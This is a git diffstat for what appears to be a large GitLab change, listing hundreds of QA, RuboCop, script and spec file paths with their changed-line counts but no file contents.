-rw-r--r--qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb279
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/online_garbage_collection_spec.rb108
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/rubygems_registry_spec.rb4
-rw-r--r--qa/qa/specs/helpers/context_selector.rb16
-rw-r--r--qa/qa/specs/runner.rb2
-rw-r--r--qa/spec/runtime/env_spec.rb6
-rw-r--r--qa/spec/service/docker_run/gitlab_runner_spec.rb2
-rw-r--r--qa/spec/specs/helpers/context_selector_spec.rb251
-rw-r--r--qa/tasks/webdrivers.rake4
-rw-r--r--rubocop/code_reuse_helpers.rb48
-rw-r--r--rubocop/cop/database/multiple_databases.rb32
-rw-r--r--rubocop/cop/gitlab/duplicate_spec_location.rb2
-rw-r--r--rubocop/cop/gitlab/mark_used_feature_flags.rb265
-rw-r--r--rubocop/cop/migration/prevent_index_creation.rb41
-rw-r--r--rubocop/cop/migration/sidekiq_queue_migrate.rb29
-rw-r--r--rubocop/cop/migration/with_lock_retries_disallowed_method.rb1
-rw-r--r--rubocop/cop/worker_data_consistency.rb63
-rw-r--r--rubocop/rubocop-migrations.yml1
-rwxr-xr-xscripts/build_assets_image7
-rw-r--r--scripts/frontend/extract_gettext_all.js2
-rwxr-xr-xscripts/frontend/startup_css/startup_css_changed.sh19
-rw-r--r--scripts/frontend/stylelint/stylelint-utility-classes.js2
-rwxr-xr-xscripts/lint-doc.sh4
-rwxr-xr-xscripts/merge-html-reports85
-rwxr-xr-xscripts/review_apps/automated_cleanup.rb10
-rw-r--r--scripts/review_apps/base-config.yaml1
-rwxr-xr-xscripts/review_apps/review-apps.sh69
-rwxr-xr-xscripts/setup-test-env68
-rwxr-xr-xscripts/static-analysis5
-rwxr-xr-xscripts/trigger-build27
-rwxr-xr-xscripts/used-feature-flags22
-rw-r--r--scripts/utils.sh9
-rwxr-xr-xscripts/verify-tff-mapping4
-rw-r--r--spec/config/settings_spec.rb6
-rw-r--r--spec/controllers/abuse_reports_controller_spec.rb2
-rw-r--r--spec/controllers/admin/application_settings_controller_spec.rb7
-rw-r--r--spec/controllers/admin/integrations_controller_spec.rb12
-rw-r--r--spec/controllers/admin/services_controller_spec.rb4
-rw-r--r--spec/controllers/confirmations_controller_spec.rb2
-rw-r--r--spec/controllers/dashboard/projects_controller_spec.rb1
-rw-r--r--spec/controllers/groups/group_links_controller_spec.rb6
-rw-r--r--spec/controllers/groups/settings/integrations_controller_spec.rb14
-rw-r--r--spec/controllers/help_controller_spec.rb8
-rw-r--r--spec/controllers/import/bulk_imports_controller_spec.rb4
-rw-r--r--spec/controllers/invites_controller_spec.rb36
-rw-r--r--spec/controllers/jira_connect/events_controller_spec.rb29
-rw-r--r--spec/controllers/profiles/emails_controller_spec.rb1
-rw-r--r--spec/controllers/profiles/personal_access_tokens_controller_spec.rb12
-rw-r--r--spec/controllers/projects/blob_controller_spec.rb17
-rw-r--r--spec/controllers/projects/commit_controller_spec.rb22
-rw-r--r--spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb4
-rw-r--r--spec/controllers/projects/import/jira_controller_spec.rb12
-rw-r--r--spec/controllers/projects/issues_controller_spec.rb14
-rw-r--r--spec/controllers/projects/merge_requests/diffs_controller_spec.rb16
-rw-r--r--spec/controllers/projects/merge_requests_controller_spec.rb14
-rw-r--r--spec/controllers/projects/pipelines_controller_spec.rb12
-rw-r--r--spec/controllers/projects/prometheus/metrics_controller_spec.rb4
-rw-r--r--spec/controllers/projects/runners_controller_spec.rb2
-rw-r--r--spec/controllers/projects/service_hook_logs_controller_spec.rb18
-rw-r--r--spec/controllers/projects/service_ping_controller_spec.rb78
-rw-r--r--spec/controllers/projects/services_controller_spec.rb153
-rw-r--r--spec/controllers/projects/settings/access_tokens_controller_spec.rb8
-rw-r--r--spec/controllers/projects/tree_controller_spec.rb19
-rw-r--r--spec/controllers/projects/usage_ping_controller_spec.rb78
-rw-r--r--spec/controllers/projects_controller_spec.rb35
-rw-r--r--spec/controllers/registrations/experience_levels_controller_spec.rb2
-rw-r--r--spec/controllers/registrations_controller_spec.rb32
-rw-r--r--spec/controllers/repositories/git_http_controller_spec.rb12
-rw-r--r--spec/controllers/root_controller_spec.rb28
-rw-r--r--spec/controllers/users/terms_controller_spec.rb1
-rw-r--r--spec/controllers/users/unsubscribes_controller_spec.rb36
-rw-r--r--spec/db/schema_spec.rb15
-rw-r--r--spec/deprecation_toolkit_env.rb5
-rw-r--r--spec/experiments/application_experiment_spec.rb164
-rw-r--r--spec/experiments/new_project_readme_content_experiment_spec.rb36
-rw-r--r--spec/factories/audit_events.rb1
-rw-r--r--spec/factories/ci/builds.rb8
-rw-r--r--spec/factories/ci/pending_builds.rb10
-rw-r--r--spec/factories/ci/reports/security/identifiers.rb15
-rw-r--r--spec/factories/ci/reports/security/links.rb14
-rw-r--r--spec/factories/ci/reports/security/scanners.rb29
-rw-r--r--spec/factories/ci/running_builds.rb10
-rw-r--r--spec/factories/events.rb1
-rw-r--r--spec/factories/integration_data.rb2
-rw-r--r--spec/factories/integrations.rb15
-rw-r--r--spec/factories/merge_request_cleanup_schedules.rb15
-rw-r--r--spec/factories/merge_request_diff_commit_users.rb8
-rw-r--r--spec/factories/packages.rb6
-rw-r--r--spec/factories/packages/helm/file_metadatum.rb2
-rw-r--r--spec/factories/packages/package_file.rb9
-rw-r--r--spec/factories/projects.rb8
-rw-r--r--spec/factories/usage_data.rb10
-rw-r--r--spec/fast_spec_helper.rb10
-rw-r--r--spec/features/admin/admin_appearance_spec.rb2
-rw-r--r--spec/features/admin/admin_dev_ops_report_spec.rb2
-rw-r--r--spec/features/admin/admin_groups_spec.rb13
-rw-r--r--spec/features/admin/admin_mode/workers_spec.rb5
-rw-r--r--spec/features/admin/admin_projects_spec.rb11
-rw-r--r--spec/features/admin/admin_runners_spec.rb274
-rw-r--r--spec/features/admin/admin_sees_background_migrations_spec.rb13
-rw-r--r--spec/features/admin/admin_settings_spec.rb113
-rw-r--r--spec/features/admin/admin_users_impersonation_tokens_spec.rb4
-rw-r--r--spec/features/admin/services/admin_visits_service_templates_spec.rb14
-rw-r--r--spec/features/admin/users/user_spec.rb78
-rw-r--r--spec/features/admin/users/users_spec.rb18
-rw-r--r--spec/features/alert_management/alert_management_list_spec.rb2
-rw-r--r--spec/features/boards/boards_spec.rb3
-rw-r--r--spec/features/boards/sidebar_spec.rb8
-rw-r--r--spec/features/calendar_spec.rb4
-rw-r--r--spec/features/cycle_analytics_spec.rb1
-rw-r--r--spec/features/dashboard/datetime_on_tooltips_spec.rb1
-rw-r--r--spec/features/dashboard/issues_filter_spec.rb4
-rw-r--r--spec/features/dashboard/merge_requests_spec.rb2
-rw-r--r--spec/features/dashboard/projects_spec.rb6
-rw-r--r--spec/features/dashboard/root_spec.rb19
-rw-r--r--spec/features/file_uploads/group_import_spec.rb1
-rw-r--r--spec/features/file_uploads/project_import_spec.rb1
-rw-r--r--spec/features/file_uploads/user_avatar_spec.rb1
-rw-r--r--spec/features/groups/import_export/connect_instance_spec.rb11
-rw-r--r--spec/features/groups/import_export/import_file_spec.rb2
-rw-r--r--spec/features/groups/members/manage_members_spec.rb4
-rw-r--r--spec/features/groups/merge_requests_spec.rb25
-rw-r--r--spec/features/groups/navbar_spec.rb74
-rw-r--r--spec/features/groups/packages_spec.rb22
-rw-r--r--spec/features/groups/settings/repository_spec.rb2
-rw-r--r--spec/features/groups/settings/user_searches_in_settings_spec.rb4
-rw-r--r--spec/features/groups/show_spec.rb8
-rw-r--r--spec/features/groups/user_browse_projects_group_page_spec.rb2
-rw-r--r--spec/features/groups_spec.rb33
-rw-r--r--spec/features/help_pages_spec.rb2
-rw-r--r--spec/features/invites_spec.rb51
-rw-r--r--spec/features/issuables/markdown_references/jira_spec.rb8
-rw-r--r--spec/features/issues/filtered_search/dropdown_assignee_spec.rb7
-rw-r--r--spec/features/issues/filtered_search/dropdown_author_spec.rb7
-rw-r--r--spec/features/issues/filtered_search/dropdown_base_spec.rb7
-rw-r--r--spec/features/issues/filtered_search/dropdown_emoji_spec.rb9
-rw-r--r--spec/features/issues/filtered_search/dropdown_hint_spec.rb8
-rw-r--r--spec/features/issues/filtered_search/dropdown_label_spec.rb9
-rw-r--r--spec/features/issues/filtered_search/dropdown_milestone_spec.rb10
-rw-r--r--spec/features/issues/filtered_search/dropdown_release_spec.rb10
-rw-r--r--spec/features/issues/filtered_search/recent_searches_spec.rb9
-rw-r--r--spec/features/issues/filtered_search/search_bar_spec.rb7
-rw-r--r--spec/features/issues/filtered_search/visual_tokens_spec.rb16
-rw-r--r--spec/features/issues/incident_issue_spec.rb49
-rw-r--r--spec/features/issues/issue_sidebar_spec.rb30
-rw-r--r--spec/features/issues/user_bulk_edits_issues_spec.rb8
-rw-r--r--spec/features/issues/user_edits_issue_spec.rb40
-rw-r--r--spec/features/issues/user_interacts_with_awards_spec.rb2
-rw-r--r--spec/features/issues/user_sees_breadcrumb_links_spec.rb1
-rw-r--r--spec/features/issues/user_sorts_issues_spec.rb23
-rw-r--r--spec/features/markdown/metrics_spec.rb3
-rw-r--r--spec/features/merge_request/batch_comments_spec.rb10
-rw-r--r--spec/features/merge_request/user_comments_on_diff_spec.rb8
-rw-r--r--spec/features/merge_request/user_interacts_with_batched_mr_diffs_spec.rb4
-rw-r--r--spec/features/merge_request/user_posts_diff_notes_spec.rb16
-rw-r--r--spec/features/merge_request/user_resolves_conflicts_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_merge_widget_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_pipelines_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_versions_spec.rb6
-rw-r--r--spec/features/merge_request/user_toggles_whitespace_changes_spec.rb2
-rw-r--r--spec/features/merge_request/user_views_diffs_spec.rb6
-rw-r--r--spec/features/merge_requests/user_lists_merge_requests_spec.rb16
-rw-r--r--spec/features/merge_requests/user_mass_updates_spec.rb6
-rw-r--r--spec/features/merge_requests/user_sorts_merge_requests_spec.rb2
-rw-r--r--spec/features/oauth_login_spec.rb2
-rw-r--r--spec/features/participants_autocomplete_spec.rb1
-rw-r--r--spec/features/profiles/personal_access_tokens_spec.rb17
-rw-r--r--spec/features/projects/active_tabs_spec.rb34
-rw-r--r--spec/features/projects/activity/user_sees_design_activity_spec.rb5
-rw-r--r--spec/features/projects/ci/editor_spec.rb2
-rw-r--r--spec/features/projects/ci/lint_spec.rb2
-rw-r--r--spec/features/projects/clusters/gcp_spec.rb2
-rw-r--r--spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb1
-rw-r--r--spec/features/projects/feature_flags/user_deletes_feature_flag_spec.rb1
-rw-r--r--spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb64
-rw-r--r--spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb3
-rw-r--r--spec/features/projects/features_visibility_spec.rb11
-rw-r--r--spec/features/projects/files/dockerfile_dropdown_spec.rb2
-rw-r--r--spec/features/projects/files/gitignore_dropdown_spec.rb2
-rw-r--r--spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb2
-rw-r--r--spec/features/projects/files/undo_template_spec.rb4
-rw-r--r--spec/features/projects/import_export/import_file_spec.rb2
-rw-r--r--spec/features/projects/infrastructure_registry_spec.rb19
-rw-r--r--spec/features/projects/integrations/user_activates_jira_spec.rb12
-rw-r--r--spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb4
-rw-r--r--spec/features/projects/navbar_spec.rb160
-rw-r--r--spec/features/projects/new_project_spec.rb113
-rw-r--r--spec/features/projects/package_files_spec.rb14
-rw-r--r--spec/features/projects/packages_spec.rb14
-rw-r--r--spec/features/projects/pipelines/pipeline_spec.rb68
-rw-r--r--spec/features/projects/pipelines/pipelines_spec.rb2
-rw-r--r--spec/features/projects/releases/user_views_edit_release_spec.rb12
-rw-r--r--spec/features/projects/releases/user_views_releases_spec.rb45
-rw-r--r--spec/features/projects/services/prometheus_external_alerts_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_prometheus_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_slack_notifications_spec.rb10
-rw-r--r--spec/features/projects/settings/access_tokens_spec.rb5
-rw-r--r--spec/features/projects/settings/monitor_settings_spec.rb13
-rw-r--r--spec/features/projects/settings/registry_settings_spec.rb160
-rw-r--r--spec/features/projects/settings/user_searches_in_settings_spec.rb2
-rw-r--r--spec/features/projects/terraform_spec.rb2
-rw-r--r--spec/features/projects/tree/create_directory_spec.rb2
-rw-r--r--spec/features/projects/tree/create_file_spec.rb2
-rw-r--r--spec/features/projects/user_creates_project_spec.rb6
-rw-r--r--spec/features/projects/user_sees_user_popover_spec.rb6
-rw-r--r--spec/features/projects/user_uses_shortcuts_spec.rb44
-rw-r--r--spec/features/projects/user_views_empty_project_spec.rb10
-rw-r--r--spec/features/projects_spec.rb4
-rw-r--r--spec/features/search/user_searches_for_code_spec.rb8
-rw-r--r--spec/features/search/user_searches_for_comments_spec.rb2
-rw-r--r--spec/features/search/user_searches_for_commits_spec.rb2
-rw-r--r--spec/features/search/user_searches_for_issues_spec.rb1
-rw-r--r--spec/features/search/user_searches_for_merge_requests_spec.rb1
-rw-r--r--spec/features/search/user_searches_for_milestones_spec.rb1
-rw-r--r--spec/features/search/user_searches_for_projects_spec.rb1
-rw-r--r--spec/features/search/user_searches_for_users_spec.rb2
-rw-r--r--spec/features/search/user_searches_for_wiki_pages_spec.rb1
-rw-r--r--spec/features/snippets/embedded_snippet_spec.rb5
-rw-r--r--spec/features/unsubscribe_links_spec.rb2
-rw-r--r--spec/features/usage_stats_consent_spec.rb2
-rw-r--r--spec/features/users/login_spec.rb18
-rw-r--r--spec/features/users/user_browses_projects_on_user_page_spec.rb2
-rw-r--r--spec/finders/alert_management/alerts_finder_spec.rb1
-rw-r--r--spec/finders/bulk_imports/entities_finder_spec.rb84
-rw-r--r--spec/finders/bulk_imports/imports_finder_spec.rb34
-rw-r--r--spec/finders/ci/commit_statuses_finder_spec.rb2
-rw-r--r--spec/finders/ci/runners_finder_spec.rb27
-rw-r--r--spec/finders/container_repositories_finder_spec.rb35
-rw-r--r--spec/finders/deployments_finder_spec.rb3
-rw-r--r--spec/finders/environments/environments_finder_spec.rb31
-rw-r--r--spec/finders/events_finder_spec.rb1
-rw-r--r--spec/finders/group_descendants_finder_spec.rb1
-rw-r--r--spec/finders/groups_finder_spec.rb1
-rw-r--r--spec/finders/merge_requests_finder_spec.rb38
-rw-r--r--spec/finders/milestones_finder_spec.rb93
-rw-r--r--spec/finders/packages/conan/package_file_finder_spec.rb1
-rw-r--r--spec/finders/packages/go/module_finder_spec.rb1
-rw-r--r--spec/finders/packages/group_packages_finder_spec.rb1
-rw-r--r--spec/finders/packages/nuget/package_finder_spec.rb2
-rw-r--r--spec/finders/packages/package_file_finder_spec.rb1
-rw-r--r--spec/finders/packages/package_finder_spec.rb1
-rw-r--r--spec/finders/projects_finder_spec.rb34
-rw-r--r--spec/finders/template_finder_spec.rb2
-rw-r--r--spec/finders/todos_finder_spec.rb2
-rw-r--r--spec/finders/user_recent_events_finder_spec.rb2
-rw-r--r--spec/fixtures/api/schemas/cluster_status.json2
-rw-r--r--spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json8
-rw-r--r--spec/fixtures/error_tracking/event.txt3
-rw-r--r--spec/fixtures/error_tracking/parsed_event.json1
-rw-r--r--spec/fixtures/error_tracking/transaction.txt3
-rw-r--r--spec/fixtures/error_tracking/unknown.txt3
-rw-r--r--spec/fixtures/gitlab/database/structure_example_cleaned.sql4
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml2
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml2
-rw-r--r--spec/fixtures/lib/gitlab/import_export/complex/project.json770
-rw-r--r--spec/fixtures/lib/gitlab/import_export/complex/tree/project/merge_requests.ndjson16
-rw-r--r--spec/fixtures/packages/nuget/package.snupkgbin0 -> 4691 bytes
-rw-r--r--spec/fixtures/packages/nuget/with_package_types.nuspec14
-rw-r--r--spec/frontend/__helpers__/dom_shims/inner_text.js2
-rw-r--r--spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap1
-rw-r--r--spec/frontend/admin/users/components/actions/actions_spec.js29
-rw-r--r--spec/frontend/admin/users/components/modals/__snapshots__/delete_user_modal_spec.js.snap80
-rw-r--r--spec/frontend/admin/users/components/modals/delete_user_modal_spec.js167
-rw-r--r--spec/frontend/admin/users/components/modals/stubs/modal_stub.js (renamed from spec/frontend/pages/admin/users/components/stubs/modal_stub.js)0
-rw-r--r--spec/frontend/admin/users/components/modals/user_modal_manager_spec.js126
-rw-r--r--spec/frontend/admin/users/components/user_actions_spec.js62
-rw-r--r--spec/frontend/admin/users/constants.js16
-rw-r--r--spec/frontend/admin/users/index_spec.js36
-rw-r--r--spec/frontend/admin/users/mock_data.js4
-rw-r--r--spec/frontend/analytics/devops_report/components/service_ping_disabled_spec.js61
-rw-r--r--spec/frontend/analytics/shared/components/daterange_spec.js120
-rw-r--r--spec/frontend/analytics/shared/components/metric_card_spec.js129
-rw-r--r--spec/frontend/analytics/shared/components/projects_dropdown_filter_spec.js264
-rw-r--r--spec/frontend/analytics/shared/utils_spec.js24
-rw-r--r--spec/frontend/analytics/usage_trends/components/instance_counts_spec.js54
-rw-r--r--spec/frontend/analytics/usage_trends/components/usage_counts_spec.js62
-rw-r--r--spec/frontend/api_spec.js8
-rw-r--r--spec/frontend/batch_comments/components/draft_note_spec.js12
-rw-r--r--spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap2
-rw-r--r--spec/frontend/blob/components/blob_edit_content_spec.js8
-rw-r--r--spec/frontend/blob/csv/csv_viewer_spec.js75
-rw-r--r--spec/frontend/blob/utils_spec.js12
-rw-r--r--spec/frontend/blob/viewer/index_spec.js5
-rw-r--r--spec/frontend/blob_edit/blob_bundle_spec.js10
-rw-r--r--spec/frontend/blob_edit/edit_blob_spec.js14
-rw-r--r--spec/frontend/boards/board_card_inner_spec.js126
-rw-r--r--spec/frontend/boards/board_list_helper.js95
-rw-r--r--spec/frontend/boards/board_list_spec.js96
-rw-r--r--spec/frontend/boards/boards_util_spec.js33
-rw-r--r--spec/frontend/boards/components/board_column_spec.js37
-rw-r--r--spec/frontend/boards/components/board_content_sidebar_spec.js20
-rw-r--r--spec/frontend/boards/components/board_content_spec.js7
-rw-r--r--spec/frontend/boards/components/board_form_spec.js2
-rw-r--r--spec/frontend/boards/components/board_settings_sidebar_spec.js11
-rw-r--r--spec/frontend/boards/components/issue_board_filtered_search_spec.js44
-rw-r--r--spec/frontend/boards/mock_data.js47
-rw-r--r--spec/frontend/boards/stores/actions_spec.js88
-rw-r--r--spec/frontend/boards/stores/getters_spec.js2
-rw-r--r--spec/frontend/boards/stores/mutations_spec.js3
-rw-r--r--spec/frontend/branches/components/delete_branch_button_spec.js6
-rw-r--r--spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js55
-rw-r--r--spec/frontend/ci_lint/components/ci_lint_spec.js4
-rw-r--r--spec/frontend/clusters/clusters_bundle_spec.js166
-rw-r--r--spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap105
-rw-r--r--spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap1
-rw-r--r--spec/frontend/clusters/components/application_row_spec.js505
-rw-r--r--spec/frontend/clusters/components/applications_spec.js510
-rw-r--r--spec/frontend/clusters/components/knative_domain_editor_spec.js179
-rw-r--r--spec/frontend/clusters/components/uninstall_application_button_spec.js39
-rw-r--r--spec/frontend/clusters/components/uninstall_application_confirmation_modal_spec.js57
-rw-r--r--spec/frontend/clusters/components/update_application_confirmation_modal_spec.js52
-rw-r--r--spec/frontend/clusters/services/application_state_machine_spec.js206
-rw-r--r--spec/frontend/clusters/services/crossplane_provider_stack_spec.js85
-rw-r--r--spec/frontend/clusters/services/mock_data.js155
-rw-r--r--spec/frontend/clusters/stores/clusters_store_spec.js192
-rw-r--r--spec/frontend/clusters_list/store/actions_spec.js6
-rw-r--r--spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap2
-rw-r--r--spec/frontend/code_quality_walkthrough/components/step_spec.js6
-rw-r--r--spec/frontend/collapsed_sidebar_todo_spec.js171
-rw-r--r--spec/frontend/commit/commit_pipeline_status_component_spec.js4
-rw-r--r--spec/frontend/commit/pipelines/pipelines_table_spec.js4
-rw-r--r--spec/frontend/content_editor/components/content_editor_spec.js37
-rw-r--r--spec/frontend/content_editor/components/toolbar_button_spec.js34
-rw-r--r--spec/frontend/content_editor/components/toolbar_image_button_spec.js78
-rw-r--r--spec/frontend/content_editor/components/toolbar_link_button_spec.js47
-rw-r--r--spec/frontend/content_editor/components/toolbar_table_button_spec.js109
-rw-r--r--spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js16
-rw-r--r--spec/frontend/content_editor/components/top_toolbar_spec.js24
-rw-r--r--spec/frontend/content_editor/components/wrappers/image_spec.js66
-rw-r--r--spec/frontend/content_editor/extensions/hard_break_spec.js46
-rw-r--r--spec/frontend/content_editor/extensions/horizontal_rule_spec.js20
-rw-r--r--spec/frontend/content_editor/extensions/image_spec.js193
-rw-r--r--spec/frontend/content_editor/markdown_processing_examples.js3
-rw-r--r--spec/frontend/content_editor/markdown_processing_spec.js16
-rw-r--r--spec/frontend/content_editor/services/create_content_editor_spec.js12
-rw-r--r--spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js17
-rw-r--r--spec/frontend/content_editor/services/upload_file_spec.js46
-rw-r--r--spec/frontend/content_editor/test_utils.js12
-rw-r--r--spec/frontend/contributors/store/actions_spec.js6
-rw-r--r--spec/frontend/cycle_analytics/filter_bar_spec.js224
-rw-r--r--spec/frontend/cycle_analytics/formatted_stage_count_spec.js34
-rw-r--r--spec/frontend/cycle_analytics/mock_data.js41
-rw-r--r--spec/frontend/cycle_analytics/store/actions_spec.js88
-rw-r--r--spec/frontend/cycle_analytics/store/mutations_spec.js69
-rw-r--r--spec/frontend/cycle_analytics/utils_spec.js10
-rw-r--r--spec/frontend/cycle_analytics/value_stream_filters_spec.js91
-rw-r--r--spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap7
-rw-r--r--spec/frontend/design_management/components/design_notes/design_note_spec.js3
-rw-r--r--spec/frontend/design_management/components/design_todo_button_spec.js2
-rw-r--r--spec/frontend/design_management/pages/design/index_spec.js8
-rw-r--r--spec/frontend/diffs/components/app_spec.js46
-rw-r--r--spec/frontend/diffs/components/collapsed_files_warning_spec.js93
-rw-r--r--spec/frontend/diffs/components/diff_content_spec.js17
-rw-r--r--spec/frontend/diffs/components/diff_file_spec.js5
-rw-r--r--spec/frontend/diffs/components/diff_row_spec.js127
-rw-r--r--spec/frontend/diffs/components/diff_row_utils_spec.js43
-rw-r--r--spec/frontend/diffs/components/diff_view_spec.js18
-rw-r--r--spec/frontend/diffs/components/inline_diff_table_row_spec.js325
-rw-r--r--spec/frontend/diffs/components/inline_diff_view_spec.js57
-rw-r--r--spec/frontend/diffs/components/parallel_diff_table_row_spec.js445
-rw-r--r--spec/frontend/diffs/components/parallel_diff_view_spec.js37
-rw-r--r--spec/frontend/diffs/store/actions_spec.js31
-rw-r--r--spec/frontend/diffs/store/getters_versions_dropdowns_spec.js2
-rw-r--r--spec/frontend/editor/editor_ci_schema_ext_spec.js108
-rw-r--r--spec/frontend/editor/editor_lite_extension_base_spec.js279
-rw-r--r--spec/frontend/editor/editor_lite_spec.js696
-rw-r--r--spec/frontend/editor/editor_markdown_ext_spec.js204
-rw-r--r--spec/frontend/editor/source_editor_ci_schema_ext_spec.js108
-rw-r--r--spec/frontend/editor/source_editor_extension_base_spec.js279
-rw-r--r--spec/frontend/editor/source_editor_markdown_ext_spec.js204
-rw-r--r--spec/frontend/editor/source_editor_spec.js696
-rw-r--r--spec/frontend/emoji/awards_app/store/actions_spec.js1
-rw-r--r--spec/frontend/environment.js21
-rw-r--r--spec/frontend/environments/environment_item_spec.js11
-rw-r--r--spec/frontend/environments/environments_app_spec.js16
-rw-r--r--spec/frontend/feature_flags/components/edit_feature_flag_spec.js73
-rw-r--r--spec/frontend/feature_flags/components/feature_flags_table_spec.js184
-rw-r--r--spec/frontend/feature_flags/components/form_spec.js338
-rw-r--r--spec/frontend/feature_flags/components/new_feature_flag_spec.js15
-rw-r--r--spec/frontend/feature_flags/mock_data.js88
-rw-r--r--spec/frontend/feature_flags/store/edit/actions_spec.js45
-rw-r--r--spec/frontend/feature_flags/store/helpers_spec.js360
-rw-r--r--spec/frontend/feature_flags/store/index/actions_spec.js5
-rw-r--r--spec/frontend/feature_flags/store/index/mutations_spec.js17
-rw-r--r--spec/frontend/feature_flags/store/new/actions_spec.js81
-rw-r--r--spec/frontend/feature_highlight/feature_highlight_helper_spec.js9
-rw-r--r--spec/frontend/filtered_search/filtered_search_manager_spec.js12
-rw-r--r--spec/frontend/filtered_search/visual_token_value_spec.js8
-rw-r--r--spec/frontend/fixtures/api_markdown.rb34
-rw-r--r--spec/frontend/fixtures/api_markdown.yml33
-rw-r--r--spec/frontend/fixtures/application_settings.rb8
-rw-r--r--spec/frontend/fixtures/pipelines.rb1
-rw-r--r--spec/frontend/fixtures/projects.rb3
-rw-r--r--spec/frontend/fixtures/prometheus_service.rb4
-rw-r--r--spec/frontend/fixtures/releases.rb8
-rw-r--r--spec/frontend/fixtures/runner.rb9
-rw-r--r--spec/frontend/flash_spec.js115
-rw-r--r--spec/frontend/frequent_items/components/frequent_items_list_item_spec.js35
-rw-r--r--spec/frontend/gpg_badges_spec.js50
-rw-r--r--spec/frontend/grafana_integration/components/grafana_integration_spec.js1
-rw-r--r--spec/frontend/groups/components/app_spec.js17
-rw-r--r--spec/frontend/groups/components/group_item_spec.js18
-rw-r--r--spec/frontend/ide/components/ide_project_header_spec.js44
-rw-r--r--spec/frontend/ide/components/new_dropdown/modal_spec.js3
-rw-r--r--spec/frontend/ide/components/repo_editor_spec.js15
-rw-r--r--spec/frontend/ide/services/index_spec.js2
-rw-r--r--spec/frontend/ide/stores/modules/clientside/actions_spec.js2
-rw-r--r--spec/frontend/ide/stores/utils_spec.js6
-rw-r--r--spec/frontend/import_entities/components/group_dropdown_spec.js44
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_table_row_spec.js6
-rw-r--r--spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js4
-rw-r--r--spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js19
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap2
-rw-r--r--spec/frontend/incidents_settings/components/incidents_settings_service_spec.js1
-rw-r--r--spec/frontend/integrations/edit/components/jira_issues_fields_spec.js109
-rw-r--r--spec/frontend/invite_members/components/invite_members_modal_spec.js295
-rw-r--r--spec/frontend/invite_members/components/members_token_select_spec.js15
-rw-r--r--spec/frontend/invite_members/mock_data/api_responses.js74
-rw-r--r--spec/frontend/invite_members/utils/response_message_parser_spec.js36
-rw-r--r--spec/frontend/issuable/components/issuable_by_email_spec.js5
-rw-r--r--spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js77
-rw-r--r--spec/frontend/issuable_create/components/issuable_form_spec.js3
-rw-r--r--spec/frontend/issuable_show/components/issuable_show_root_spec.js8
-rw-r--r--spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js214
-rw-r--r--spec/frontend/issuable_spec.js2
-rw-r--r--spec/frontend/issues_list/components/issuables_list_app_spec.js4
-rw-r--r--spec/frontend/issues_list/components/issues_list_app_spec.js74
-rw-r--r--spec/frontend/issues_list/mock_data.js77
-rw-r--r--spec/frontend/issues_list/utils_spec.js29
-rw-r--r--spec/frontend/jira_connect/branches/components/project_dropdown_spec.js180
-rw-r--r--spec/frontend/jira_connect/branches/components/source_branch_dropdown_spec.js192
-rw-r--r--spec/frontend/jira_connect/components/groups_list_spec.js6
-rw-r--r--spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap2
-rw-r--r--spec/frontend/jobs/components/empty_state_spec.js1
-rw-r--r--spec/frontend/jobs/components/job_app_spec.js8
-rw-r--r--spec/frontend/jobs/components/log/collapsible_section_spec.js9
-rw-r--r--spec/frontend/jobs/components/log/line_spec.js30
-rw-r--r--spec/frontend/jobs/components/log/log_spec.js91
-rw-r--r--spec/frontend/jobs/components/log/mock_data.js65
-rw-r--r--spec/frontend/jobs/components/manual_variables_form_spec.js15
-rw-r--r--spec/frontend/jobs/components/sidebar_detail_row_spec.js2
-rw-r--r--spec/frontend/jobs/store/mutations_spec.js94
-rw-r--r--spec/frontend/jobs/store/utils_spec.js95
-rw-r--r--spec/frontend/lib/dompurify_spec.js16
-rw-r--r--spec/frontend/lib/graphql_spec.js54
-rw-r--r--spec/frontend/lib/utils/common_utils_spec.js146
-rw-r--r--spec/frontend/lib/utils/datetime/timeago_utility_spec.js103
-rw-r--r--spec/frontend/lib/utils/datetime_utility_spec.js40
-rw-r--r--spec/frontend/lib/utils/finite_state_machine_spec.js293
-rw-r--r--spec/frontend/lib/utils/text_markdown_spec.js2
